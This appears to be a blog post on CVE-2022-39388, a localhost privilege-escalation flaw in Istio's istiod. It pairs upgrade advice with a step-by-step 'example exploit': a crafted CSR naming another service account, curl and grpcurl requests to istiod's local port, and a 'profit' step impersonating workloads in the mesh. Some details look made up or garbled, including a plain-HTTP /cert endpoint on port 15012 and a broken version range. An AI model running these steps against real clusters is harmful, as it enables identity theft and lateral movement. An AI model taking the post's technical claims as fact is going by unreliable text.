CVE-2022-39388 - Istio Localhost Privilege Escalation—How Attackers Could Steal Any Workload Identity (with Fixes & Example Attack)

Istio is one of the go-to platforms for connecting, managing, and securing microservices quickly and at scale. But in late 2022, a critical security flaw—CVE-2022-39388—was announced that could let a user with localhost access to the Istiod control plane impersonate any workload identity in the service mesh. If you’re using Istio 1.15.x (up to, but not including 1.15.3), you’re at risk. Below I’ll break down how the bug works, show an example exploit, and how to protect yourself.

What is CVE-2022-39388?

CVE-2022-39388 is a privilege escalation flaw in Istio’s control plane (istiod) that exposed endpoint(s) on localhost which any local user process could access. If an attacker could run any code, even just as a regular user, with localhost network access on the host where Istiod runs, they could trick the system into generating and providing certificates for any workload in the service mesh. That means total “identity theft” inside your Kubernetes cluster.

Original Advisory:
- GitHub Security Advisory
- NIST NVD

The Root Problem

Istiod provides a local secure interface for workloads (like sidecar proxies) to request identity certificates. It’s intended for use only by trusted workloads (Envoy proxies). But nothing actually stopped any local user process from connecting and requesting any identity they wanted. This is because Istiod trusted all localhost connections equally.

The key endpoint is /cert (and similar endpoints) running on localhost:15012 and/or localhost:15014.

Suppose Alice can run code on the control plane node, she can use these endpoints the same way as official sidecars. All she needs to do is craft a request asking for Bob’s workload identity—Istiod would hand it over.

Example Exploit in 3 Steps

Here's a simple script demonstrating how a local attacker—who already has access to the node running Istiod—might steal a credential for any pod.

Step 1: Craft a Certificate Request

Istiod accepts CSR (Certificate Signing Request) via REST on localhost.

Request example:
Suppose we want credentials for Bob’s service account in the "payments" namespace.

cat > csr.json <<EOF
{
  "certificate_request": "<base64-encoded-CSR>",
  "service_account": "bob",
  "namespace": "payments"
}
EOF

> *You can create a real CSR with openssl if you'd like to test the endpoint fully.*

Step 2: Send Request to Istiod

curl -XPOST \
  --header "Content-Type: application/json" \
  --data @csr.json \
  http://localhost:15012/cert

Or try direct gRPCurl (if Istiod’s port is open)

grpcurl -d @ -plaintext localhost:15012 istio.v1.auth.IstioCertificateService.CreateCertificate < csr.proto

If successful, the response will contain a signed certificate allowing code to impersonate Bob’s microservice in the mesh.

Step 3: Profit—Escalate in the Mesh

The attacker can mount/use the certificate to join mTLS in the mesh as Bob’s service account, access or eavesdrop on traffic, and escalate further.

No Workarounds—Patch Now!

The only reliable fix is upgrading to Istio 1.15.3 or above, as the maintainers have updated the control plane to properly restrict local connections and verify that certificate requests are only granted to valid, authorized Envoy sidecars (not just “anyone on localhost”).

Upgrade Guide:
- https://istio.io/latest/news/security/istio-security-2022-005/

> No configuration tweak, service mesh setting, or firewall can fully mitigate this unless you patch.

Vulnerable: Istio 1.15.–1.15.2 (and possibly prior versions)

- Exploitability: Requires shell/local access to Istiod node (but no elevated privileges or cluster admin!)

Impact: Full workload impersonation, lateral movement, mesh compromise

- Fix: Upgrade to Istio 1.15.3 or newer

References:

- CVE-2022-39388 NIST details
- GitHub Security Advisory
- Istio Official Security Bulletin

Final Advice

Running Istio's control plane on shared or not-fully-secured hosts is always risky. This flaw is another strong reminder to limit access to critical cluster components, turn on node hardening, and prioritize control plane updates. Don’t wait—patch now and audit how Istiod is exposed within your infrastructure.


> This article is a CVE-focused exclusive breakdown for the developer and cloud security community.
>
> *Stay tuned for more practical guides on securing Kubernetes and microservice platforms!*

Timeline

Published on: 11/10/2022 20:15:00 UTC
Last modified on: 11/15/2022 20:21:00 UTC